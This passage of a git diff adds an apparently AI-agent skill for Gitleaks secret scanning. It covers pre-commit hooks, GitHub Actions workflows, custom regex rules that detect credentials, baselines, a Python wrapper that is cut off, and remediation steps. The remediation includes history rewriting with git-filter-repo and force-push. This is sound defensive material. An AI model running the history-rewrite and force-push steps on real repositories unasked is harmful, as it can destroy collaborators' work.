+ institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/SKILL.md b/.claude/skills/implementing-secret-scanning-with-gitleaks/SKILL.md new file mode 100644 index 0000000..9fc3013 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/SKILL.md @@ -0,0 +1,345 @@ +--- +name: implementing-secret-scanning-with-gitleaks +description: 'This skill covers implementing Gitleaks for detecting and preventing + hardcoded secrets in git repositories. It addresses configuring pre-commit hooks, + CI/CD pipeline integration, custom rule authoring for organization-specific secrets, + baseline management for existing repositories, and remediation workflows for exposed + credentials. + + ' +domain: cybersecurity +subdomain: devsecops +tags: +- devsecops +- cicd +- secret-scanning +- gitleaks +- pre-commit +- secure-sdlc +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- GV.SC-07 +- ID.IM-04 +- PR.PS-04 +mitre_attack: +- T1195 +- T1554 +- T1059.004 +- T1003 +- T1110 +--- + +# Implementing Secret Scanning with Gitleaks + +## When to Use + +- When developers may accidentally commit API keys, passwords, tokens, or private keys to repositories +- When establishing pre-commit gates that prevent secrets from entering the git history +- When scanning existing repository history for previously committed secrets that need rotation +- When compliance requirements mandate secret detection across all source code repositories +- When migrating from manual secret audits to automated continuous scanning + +**Do not use** for detecting secrets in running applications or memory (use runtime secret detection), for managing secrets after detection (use Vault or AWS Secrets Manager), or for scanning container images (use Trivy or Grype). + +## Prerequisites + +- Gitleaks v8.18+ installed via binary, Go install, or Docker +- Pre-commit framework installed for local hook integration +- Git repository with history to scan +- CI/CD platform access (GitHub Actions, GitLab CI, or equivalent) + +## Workflow + +### Step 1: Install and Run Initial Repository Scan + +Perform a baseline scan of the repository to identify all existing secrets in the git history. + +```bash +# Install Gitleaks +brew install gitleaks # macOS +# or download binary from https://github.com/gitleaks/gitleaks/releases + +# Scan entire git history for secrets +gitleaks detect --source . --report-format json --report-path gitleaks-report.json -v + +# Scan only staged changes (for pre-commit) +gitleaks protect --staged --report-format json --report-path gitleaks-staged.json + +# Scan specific commit range +gitleaks detect --source . --log-opts="HEAD~10..HEAD" --report-format json + +# Scan without git history (filesystem only) +gitleaks detect --source . --no-git --report-format json +``` + +### Step 2: Configure Pre-Commit Hook + +Set up Gitleaks as a pre-commit hook to prevent secrets from being committed. + +```yaml +# .pre-commit-config.yaml +repos: + - repo: https://github.com/gitleaks/gitleaks + rev: v8.21.2 + hooks: + - id: gitleaks + name: gitleaks + description: Detect hardcoded secrets using Gitleaks + entry: gitleaks protect --staged --verbose --redact + language: golang + pass_filenames: false +``` + +```bash +# Install pre-commit framework +pip install pre-commit + +# Install hooks defined in .pre-commit-config.yaml +pre-commit install + +# Run against all files (not just staged) +pre-commit run gitleaks --all-files + +# Test the hook with a deliberate secret +echo 'AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"' >> test.txt +git add test.txt +git commit -m "test" # Should be blocked by gitleaks +``` + +### Step 3: Integrate into GitHub Actions + +```yaml +# .github/workflows/secret-scanning.yml +name: Secret Scanning + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + +jobs: + gitleaks: + name: Gitleaks Secret Scan + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for comprehensive scanning + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_LICENSE: ${{ secrets.GITLEAKS_LICENSE }} # Required for gitleaks-action v2 + + # Alternative: Run Gitleaks directly + - name: Install Gitleaks + run: | + wget -q https://github.com/gitleaks/gitleaks/releases/download/v8.21.2/gitleaks_8.21.2_linux_x64.tar.gz + tar -xzf gitleaks_8.21.2_linux_x64.tar.gz + chmod +x gitleaks + + - name: Scan for secrets + run: | + if [ "${{ github.event_name }}" == "pull_request" ]; then + ./gitleaks detect \ + --source . \ + --log-opts="${{ github.event.pull_request.base.sha }}..${{ github.event.pull_request.head.sha }}" \ + --report-format sarif \ + --report-path gitleaks.sarif \ + --exit-code 1 + else + ./gitleaks detect \ + --source . \ + --report-format sarif \ + --report-path gitleaks.sarif \ + --exit-code 1 \ + --baseline-path .gitleaks-baseline.json + fi + + - name: Upload SARIF + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: gitleaks.sarif + category: gitleaks +``` + +### Step 4: Author Custom Detection Rules + +Create organization-specific rules for internal secret patterns. + +```toml +# .gitleaks.toml +title = "Organization Gitleaks Configuration" + +[extend] +useDefault = true # Include all default rules + +# Custom rule for internal API tokens +[[rules]] +id = "internal-api-token" +description = "Internal API token for service-to-service auth" +regex = '''(?i)x-internal-token["\s:=]+["\']?([a-zA-Z0-9_\-]{40,})["\']?''' +entropy = 3.5 +keywords = ["x-internal-token"] +tags = ["internal", "api"] + +[[rules]] +id = "database-connection-string" +description = "Database connection string with embedded credentials" +regex = '''(?i)(postgres|mysql|mongodb|redis)://[^:]+:[^@]+@[^/]+/\w+''' +keywords = ["postgres://", "mysql://", "mongodb://", "redis://"] +tags = ["database", "credentials"] + +[[rules]] +id = "jwt-secret" +description = "JWT signing secret" +regex = '''(?i)(jwt[_-]?secret|jwt[_-]?key)["\s:=]+["\']?([a-zA-Z0-9/+_\-]{32,})["\']?''' +entropy = 3.0 +keywords = ["jwt_secret", "jwt-secret", "jwt_key", "jwt-key"] + +# Allowlist for test files and known safe patterns +[allowlist] +description = "Global allowlist" +paths = [ + '''(^|/)test(s)?/''', + '''(^|/)spec/''', + '''\.test\.(js|ts|py)$''', + '''\.spec\.(js|ts|py)$''', + '''__mocks__/''', + '''fixtures/''', + '''(^|/)vendor/''', + '''node_modules/''' +] +regexes = [ + '''EXAMPLE''', + '''example\.com''', + '''test[-_]?(key|secret|token|password)''', + '''(?i)placeholder''', + '''000000+''' +] +``` + +### Step 5: Manage Baselines for Existing Repositories + +Create a baseline of known findings to avoid blocking development while historical secrets are being rotated. + +```bash +# Generate baseline from current state +gitleaks detect --source . --report-format json --report-path .gitleaks-baseline.json + +# Subsequent scans compare against baseline (only new findings trigger failures) +gitleaks detect --source . --baseline-path .gitleaks-baseline.json --exit-code 1 + +# Review baseline periodically and remove entries as secrets are rotated +cat .gitleaks-baseline.json | python3 -m json.tool | head -50 +``` + +### Step 6: Remediate Exposed Secrets + +When a secret is detected, follow the rotation and history cleanup procedure. + +```bash +# 1. Immediately rotate the exposed credential +# - Revoke the old API key/token in the service provider +# - Generate a new credential +# - Store the new credential in a secrets manager + +# 2. Remove secret from git history using git-filter-repo +pip install git-filter-repo + +# Create expressions file for secrets to remove +cat > /tmp/expressions.txt << 'EOF' +regex:AKIA[0-9A-Z]{16}==>REDACTED_AWS_KEY +regex:(?i)password\s*=\s*"[^"]*"==>password="REDACTED" +EOF + +git filter-repo --replace-text /tmp/expressions.txt --force + +# 3. Force-push the cleaned history (coordinate with team) +# git push --force --all # WARNING: Requires team coordination + +# 4. Add the secret pattern to .gitleaks.toml rules +# 5. Update the baseline file to remove the resolved finding +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Secret | Any credential, token, key, or sensitive string that should not appear in source code | +| Pre-commit Hook | Git hook that runs before a commit is created, blocking commits containing detected secrets | +| Entropy | Measure of randomness in a string; high-entropy strings are more likely to be secrets | +| Baseline | Snapshot of existing findings used to differentiate new secrets from pre-existing ones | +| Allowlist | Configuration specifying paths, patterns, or commits to exclude from detection | +| SARIF | Static Analysis Results Interchange Format for uploading findings to security dashboards | +| git-filter-repo | Tool for rewriting git history to remove sensitive data from all commits | + +## Tools & Systems + +- **Gitleaks**: Open-source secret detection tool supporting pre-commit hooks, CI/CD, and historical scanning +- **pre-commit**: Framework for managing and maintaining multi-language pre-commit hooks +- **git-filter-repo**: History rewriting tool for removing secrets from git history +- **TruffleHog**: Alternative secret scanner with verified secret detection capabilities +- **GitHub Secret Scanning**: Native GitHub feature that detects secrets matching partner patterns + +## Common Scenarios + +### Scenario: Onboarding Secret Scanning on a Legacy Repository + +**Context**: A 5-year-old repository has never been scanned. The team needs to enable secret scanning without blocking all development while historical secrets are rotated. + +**Approach**: +1. Run `gitleaks detect` against full history and generate a baseline JSON file +2. Triage each finding: classify as active (needs rotation), inactive (already rotated), or false positive +3. Immediately rotate all active secrets and update consuming services +4. Commit the baseline file (excluding active secrets that have been fixed) +5. Enable pre-commit hooks for new development immediately +6. Add CI/CD scanning with the baseline to catch only new secrets +7. Progressively reduce the baseline as historical secrets are rotated + +**Pitfalls**: Generating a baseline without triaging means accepting risk on unrotated secrets. Never assume a historical secret is inactive without verifying with the service provider. Running git-filter-repo on a shared repository without coordination will cause rebase conflicts for all team members. + +## Output Format + +``` +Gitleaks Secret Scanning Report +================================= +Repository: org/web-application +Scan Type: Full History +Commits Scanned: 4,523 +Date: 2026-02-23 + +FINDINGS: + Total: 12 + New (not in baseline): 3 + Baseline (pre-existing): 9 + +NEW FINDINGS (blocking): + [1] AWS Access Key ID + Rule: aws-access-key-id + File: src/config/aws.py:23 + Commit: a1b2c3d (2026-02-22, dev@company.com) + Secret: AKIA...REDACTED + Entropy: 3.8 + + [2] GitHub Personal Access Token + Rule: github-pat + File: scripts/deploy.sh:15 + Commit: d4e5f6g (2026-02-21, ops@company.com) + Secret: ghp_...REDACTED + Entropy: 4.2 + + [3] Internal API Token + Rule: internal-api-token + File: src/services/auth.py:89 + Commit: h7i8j9k (2026-02-20, dev@company.com) + +QUALITY GATE: FAILED (3 new findings) +Action: Rotate exposed credentials immediately. +``` diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/assets/template.md b/.claude/skills/implementing-secret-scanning-with-gitleaks/assets/template.md new file mode 100644 index 0000000..0f4c1e5 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/assets/template.md @@ -0,0 +1,175 @@ +# Gitleaks Secret Scanning Templates + +## Pre-Commit Configuration + +```yaml +# .pre-commit-config.yaml +repos: + - repo: https://github.com/gitleaks/gitleaks + rev: v8.21.2 + hooks: + - id: gitleaks + name: Detect secrets with Gitleaks + entry: gitleaks protect --staged --verbose --redact + language: golang + pass_filenames: false +``` + +## Organization Gitleaks Configuration + +```toml +# .gitleaks.toml +title = "Organization Secret Scanning Rules" + +[extend] +useDefault = true + +# ─── Custom Rules ─── + +[[rules]] +id = "internal-service-token" +description = "Internal service-to-service authentication token" +regex = '''(?i)(service[_-]?token|internal[_-]?key)["\s:=]+["']?([A-Za-z0-9_\-]{36,})["']?''' +entropy = 3.5 +keywords = ["service_token", "service-token", "internal_key", "internal-key"] + +[[rules]] +id = "database-url-with-password" +description = "Database connection URL with embedded password" +regex = '''(?i)(DATABASE_URL|DB_URL|SQLALCHEMY_DATABASE_URI)\s*=\s*["']?(postgres|mysql|mongodb)\+?[a-z]*://[^:]+:[^@]+@''' +keywords = ["DATABASE_URL", "DB_URL", "SQLALCHEMY_DATABASE_URI"] + +[[rules]] +id = "encryption-key-hex" +description = "Encryption key in hexadecimal format" +regex = '''(?i)(encryption[_-]?key|aes[_-]?key|secret[_-]?key)\s*=\s*["']?([0-9a-fA-F]{32,64})["']?''' +entropy = 3.0 +keywords = ["encryption_key", "aes_key", "secret_key"] + +# ─── Allowlist ─── + +[allowlist] +description = "Global allowlist for false positive reduction" +paths = [ + '''(^|/)test(s)?/''', + '''(^|/)spec(s)?/''', + '''\.test\.(js|ts|py|go|rb)$''', + '''\.spec\.(js|ts|py|go|rb)$''', + '''(^|/)__tests__/''', + '''(^|/)__mocks__/''', + '''(^|/)fixtures/''', + '''(^|/)testdata/''', + '''(^|/)vendor/''', + '''(^|/)node_modules/''', + '''\.md$''', + '''CHANGELOG''' +] +regexes = [ + '''(?i)EXAMPLE''', + '''(?i)PLACEHOLDER''', + '''(?i)CHANGEME''', + '''(?i)your[-_]?(api[-_]?key|secret|token|password)''', + '''(?i)test[-_]?(key|secret|token|password|credential)''', + '''example\.com''', + '''localhost''', + '''0{8,}''', + '''x{8,}''' +] + +# Per-rule allowlists +[[rules.allowlist]] +description = "Allow AWS example keys" +regexes = ["AKIAIOSFODNN7EXAMPLE"] +``` + +## GitHub Actions Workflow + +```yaml +# .github/workflows/secret-scanning.yml +name: Secret Scanning + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + schedule: + - cron: '0 6 * * *' + +jobs: + gitleaks: + name: Gitleaks + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Install Gitleaks + run: | + GITLEAKS_VERSION="8.21.2" + wget -qO- "https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz" | tar xz + sudo mv gitleaks /usr/local/bin/ + + - name: Run scan + run: | + if [ "${{ github.event_name }}" == "pull_request" ]; then + gitleaks detect \ + --source . \ + --log-opts="${{ github.event.pull_request.base.sha }}..${{ github.sha }}" \ + --report-format sarif \ + --report-path gitleaks.sarif \ + --exit-code 1 \ + --verbose + else + gitleaks detect \ + --source . \ + --baseline-path .gitleaks-baseline.json \ + --report-format sarif \ + --report-path gitleaks.sarif \ + --exit-code 1 \ + --verbose + fi + + - name: Upload SARIF + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: gitleaks.sarif + category: gitleaks +``` + +## Incident Response Template for Exposed Secrets + +```markdown +## Secret Exposure Incident Report + +**Date Detected**: YYYY-MM-DD +**Detected By**: Gitleaks CI scan / Pre-commit hook / Manual review +**Repository**: org/repo-name +**Severity**: Critical / High + +### Exposed Credential Details +- **Type**: [AWS Access Key | GitHub PAT | Database Password | etc.] +- **Rule ID**: [gitleaks rule that detected it] +- **File**: [path/to/file:line] +- **Commit**: [short SHA] +- **Author**: [email] +- **Date Committed**: [date] +- **Exposure Duration**: [time from commit to detection] + +### Remediation Actions +- [ ] Credential revoked at service provider +- [ ] New credential generated and stored in secrets manager +- [ ] Consuming services updated to use new credential +- [ ] Service functionality verified +- [ ] Git history cleaned (if required) +- [ ] Baseline updated +- [ ] Root cause documented + +### Root Cause +[Why was the secret committed? Missing pre-commit hook? Developer education gap?] + +### Preventive Measures +[What changes prevent recurrence? Hook enforcement? Rule addition?] +``` diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md new file mode 100644 index 0000000..da6fb0a --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md @@ -0,0 +1,180 @@ +# API Reference: Gitleaks Secret Scanning + +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute gitleaks CLI commands | +| `json` | Parse gitleaks JSON report output | +| `pathlib` | Handle repository and report file paths | +| `os` | Read `GITLEAKS_CONFIG` environment variable | + +## Installation + +```bash +# Install gitleaks binary +# macOS +brew install gitleaks + +# Linux +curl -sSfL https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64 -o gitleaks +chmod +x gitleaks && sudo mv gitleaks /usr/local/bin/ + +# Docker +docker pull ghcr.io/gitleaks/gitleaks:latest +``` + +## CLI Commands + +### Scan a Git Repository +```bash +gitleaks git --source=/path/to/repo --report-format=json --report-path=results.json +``` + +### Scan a Directory (Non-Git) +```bash +gitleaks dir --source=/path/to/code --report-format=json --report-path=results.json +``` + +### Scan from stdin +```bash +echo "aws_secret_access_key=AKIAIOSFODNN7EXAMPLE" | gitleaks stdin +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `--source` | Path to repository or directory to scan | +| `--config`, `-c` | Path to custom gitleaks.toml config | +| `--report-format`, `-f` | Output format: `json`, `csv`, `junit`, `sarif` | +| `--report-path`, `-r` | Path to write the report file | +| `--baseline-path` | Ignore known findings from baseline file | +| `--exit-code` | Exit code when leaks found (default: 1) | +| `--redact` | Redact secrets in output (percent: 0-100) | +| `--verbose`, `-v` | Show verbose scan output | +| `--no-git` | Treat source as plain directory | +| `--log-level` | Log level: trace, debug, info, warn, error | +| `--max-target-megabytes` | Skip files larger than this size | + +## Custom Configuration (.gitleaks.toml) + +```toml +title = "Custom Gitleaks Config" + +[extend] +useDefault = true # Extend the default ruleset + +[[rules]] +id = "custom-internal-token" +description = "Internal API token pattern" +regex = '''(?i)internal[_-]?token\s*[:=]\s*['"]?([a-zA-Z0-9]{32,})''' +tags = ["internal", "token"] +keywords = ["internal_token", "internal-token"] + +[[rules]] +id = "custom-db-password" +description = "Database password in config" +regex = '''(?i)(db|database|mysql|postgres)[_-]?pass(word)?\s*[:=]\s*['"]?[^\s'"]{8,}''' +tags = ["database", "password"] + +[rules.allowlist] +paths = ['''test/.*''', '''mock/.*'''] +regexTarget = "line" +regexes = ['''(?i)example|placeholder|changeme|test'''] + +[[allowlist.paths]] +regex = '''vendor/.*''' + +[[allowlist.commits]] +sha = "abc123def456" +``` + +## Python Integration + +### Run Gitleaks and Parse Results +```python +import subprocess +import json +from pathlib import Path + +def scan_repository(repo_path, config_path=None): + cmd = [ + "gitleaks", "git", + "--source", str(repo_path), + "--report-format", "json", + "--report-path", "/tmp/gitleaks-report.json", + "--exit-code", "0", + ] + if config_path: + cmd.extend(["--config", str(config_path)]) + + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + + report_path = Path("/tmp/gitleaks-report.json") + if report_path.exists(): + with open(report_path) as f: + findings = json.load(f) + return findings + return [] +``` + +### Categorize Findings by Severity +```python +HIGH_SEVERITY_RULES = { + "aws-access-key", "aws-secret-key", "gcp-api-key", + "github-pat", "private-key", "generic-api-key", +} + +def categorize_findings(findings): + high, medium, low = [], [], [] + for f in findings: + rule = f.get("RuleID", "") + if rule in HIGH_SEVERITY_RULES: + high.append(f) + elif "password" in rule or "token" in rule: + medium.append(f) + else: + low.append(f) + return {"high": high, "medium": medium, "low": low} +``` + +## GitHub Actions Integration + +```yaml +name: Gitleaks Secret Scan +on: [push, pull_request] +jobs: + gitleaks: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +``` + +## Output Format + +```json +[ + { + "Description": "Detected a Generic API Key", + "StartLine": 42, + "EndLine": 42, + "StartColumn": 15, + "EndColumn": 55, + "Match": "REDACTED", + "Secret": "REDACTED", + "File": "config/settings.py", + "Commit": "a1b2c3d4e5f6", + "Author": "developer@example.com", + "Date": "2025-01-15T10:30:00Z", + "RuleID": "generic-api-key", + "Tags": ["api", "key"], + "Fingerprint": "a1b2c3d4:config/settings.py:generic-api-key:42" + } +] +``` diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/references/standards.md b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/standards.md new file mode 100644 index 0000000..af914ef --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/standards.md @@ -0,0 +1,54 @@ +# Standards Reference: Secret Scanning with Gitleaks + +## OWASP Top 10 - A07:2021 Identification and Authentication Failures + +- Hardcoded credentials in source code enable unauthorized access +- Gitleaks detects API keys, passwords, tokens, and private keys before they reach repositories +- CWE-798: Use of Hard-coded Credentials is a direct mapping + +## NIST SSDF (SP 800-218) + +### PW.1: Design Software to Meet Security Requirements +- PW.1.1: Identify security requirements including credential management +- Secrets should never be stored in source code; use environment variables or secrets managers + +### PS.1: Protect All Forms of Code +- PS.1.1: Store code securely with access controls and secret scanning +- Implement pre-commit hooks to prevent secrets from entering version control + +### PS.2: Provide a Mechanism for Verifying Software Release Integrity +- Code signing and secret scanning ensure software releases do not contain embedded credentials + +## CIS Software Supply Chain Security Guide + +### Source Code Controls +- SC-1: Automated secret scanning on all commits +- SC-5: No hardcoded credentials in source repositories +- SC-6: Secrets detection integrated into CI/CD pipeline + +## OWASP SAMM - Secure Build + +### Maturity Level 1 +- Scan repositories for common secret patterns using default rulesets +- Alert developers when secrets are detected in pull requests + +### Maturity Level 2 +- Custom rules for organization-specific secret patterns +- Pre-commit hooks prevent secrets from entering history +- Baseline management for legacy codebases + +### Maturity Level 3 +- Automated secret rotation workflow triggered by detection +- Correlation with secrets management systems for validation +- Historical scanning with git-filter-repo remediation + +## PCI DSS v4.0 + +- Requirement 6.3.1: Security vulnerabilities identified through a defined process including code analysis +- Requirement 8.6.1: Secrets stored in code or configuration files must be protected +- Requirement 8.6.3: Passwords/passphrases for application and system accounts are protected against misuse + +## SOC 2 Trust Service Criteria + +- CC6.1: Logical access security over protected information assets including credential management +- CC6.7: Restrict transmission of data to authorized external parties (prevent credential leakage) diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/references/workflows.md b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/workflows.md new file mode 100644 index 0000000..9425377 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/references/workflows.md @@ -0,0 +1,92 @@ +# Workflow Reference: Secret Scanning with Gitleaks + +## Secret Detection Pipeline + +``` +Developer Workstation CI/CD Pipeline Security Response + │ │ │ + ▼ │ │ +┌──────────────┐ │ │ +│ Pre-commit │ │ │ +│ Hook (local) │ │ │ +└──────┬───────┘ │ │ + │ │ │ + ┌────┴────┐ │ │ + │ │ │ │ +PASS FAIL │ │ + │ (blocked) │ │ + ▼ │ │ +Push to │ │ +Remote │ │ + │ ▼ │ + │ ┌──────────────┐ │ + └───────────────────────>│ Gitleaks CI │ │ + │ Scan (PR) │ │ + └──────┬───────┘ │ + │ │ + ┌─────┴─────┐ │ + │ │ │ + PASS FAIL │ + │ ┌─────┴──────┐ │ + │ │ Block PR │ │ + │ │ + Alert │──────────────>│ + │ └────────────┘ ┌──────────┴──────┐ + │ │ Rotate Secret │ + │ │ Update Baseline │ + │ │ Clean History │ + │ └─────────────────┘ + ▼ + Merge Permitted +``` + +## Gitleaks Rule Configuration Deep Dive + +### Rule Anatomy +```toml +[[rules]] +id = "rule-unique-identifier" # Unique rule ID +description = "Human-readable desc" # What this rule detects +regex = '''pattern''' # Detection regex +entropy = 3.5 # Minimum entropy threshold (optional) +secretGroup = 1 # Regex capture group containing secret +keywords = ["key1", "key2"] # Fast pre-filter keywords +tags = ["aws", "credential"] # Categorization tags +path = '''\.env$''' # Path filter regex (optional) +``` + +### Built-in Rule Categories +| Category | Example Rules | Count | +|----------|--------------|-------| +| Cloud Provider Keys | aws-access-key-id, gcp-service-account | 15+ | +| API Tokens | github-pat, gitlab-pat, slack-token | 20+ | +| Private Keys | private-key, rsa-private-key | 5+ | +| Database Credentials | generic-password, connection-string | 10+ | +| Service Tokens | stripe-api-key, sendgrid-api-key | 30+ | + +### Entropy Scoring +- Entropy measures string randomness (Shannon entropy) +- Random-looking strings (API keys) have entropy > 3.5 +- Regular English text has entropy around 2.0-3.0 +- Setting entropy threshold reduces false positives on non-random strings +- Combine entropy with regex for highest accuracy + +## Remediation Process + +### Secret Rotation Checklist +1. Identify the exposed secret type and associated service +2. Log into the service provider and revoke the exposed credential +3. Generate a new credential with the same permissions +4. Store the new credential in a secrets manager (Vault, AWS SM, etc.) +5. Update all consuming services to use the new credential +6. Verify service functionality with the new credential +7. Update the Gitleaks baseline to remove the resolved finding +8. Optionally clean git history with git-filter-repo + +### History Cleanup Decision Matrix +| Factor | Clean History | Keep History | +|--------|--------------|--------------| +| Secret is rotated | Optional | Acceptable | +| Repo is public | Required | Never | +| Compliance mandate | Required | Not compliant | +| Active contributor count | < 10 preferred | > 10 difficult | +| Secret exposure duration | Long (high risk) | Short (lower risk) | diff --git a/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py b/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py new file mode 100644 index 0000000..66b5335 --- /dev/null +++ b/.claude/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py @@ -0,0 +1,215 @@ +#!/usr/bin/env python3 +"""Gitleaks secret scanning agent. + +Wraps the Gitleaks CLI to scan git repositories, directories, or +specific commits for hardcoded secrets, API keys, tokens, and +credentials. Parses JSON output into structured findings. +""" +import argparse +import json +import os +import subprocess +import sys +from datetime import datetime, timezone + + +def find_gitleaks_binary(): + """Locate the gitleaks binary on the system.""" + custom_path = os.environ.get("GITLEAKS_PATH") + if custom_path and os.path.isfile(custom_path): + return custom_path + for name in ["gitleaks", "gitleaks.exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name) + if os.path.isfile(full_path): + return full_path + print("[!] gitleaks binary not found. Install: https://github.com/gitleaks/gitleaks", + file=sys.stderr) + sys.exit(1) + + +def run_detect(gitleaks_bin, target, config=None, baseline=None, + log_opts=None, no_git=False, verbose=False): + """Run gitleaks detect on a repository or directory.""" + cmd = [gitleaks_bin, "detect"] + if no_git: + cmd.extend(["--no-git", "--source", target]) + else: + cmd.extend(["--source", target]) + cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"]) + if config: + cmd.extend(["--config", config]) + if baseline: + cmd.extend(["--baseline-path", baseline]) + if log_opts: + cmd.extend(["--log-opts", log_opts]) + if verbose: + cmd.append("--verbose") + cmd.extend(["--exit-code", "0"]) + + print(f"[*] Running: {' '.join(cmd)}") + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=600, + ) + if result.returncode not in (0, 1): + print(f"[!] Gitleaks error (exit {result.returncode}): {result.stderr}", + file=sys.stderr) + return result.stdout, result.stderr, result.returncode + + +def run_protect(gitleaks_bin, target, config=None, staged=False, verbose=False): + """Run gitleaks protect for pre-commit scanning.""" + cmd = [gitleaks_bin, "protect", "--source", target] + cmd.extend(["--report-format", "json", "--report-path", "/dev/stdout"]) + if staged: + cmd.append("--staged") + if config: + cmd.extend(["--config", config]) + if verbose: + cmd.append("--verbose") + cmd.extend(["--exit-code", "0"]) + + print(f"[*] Running 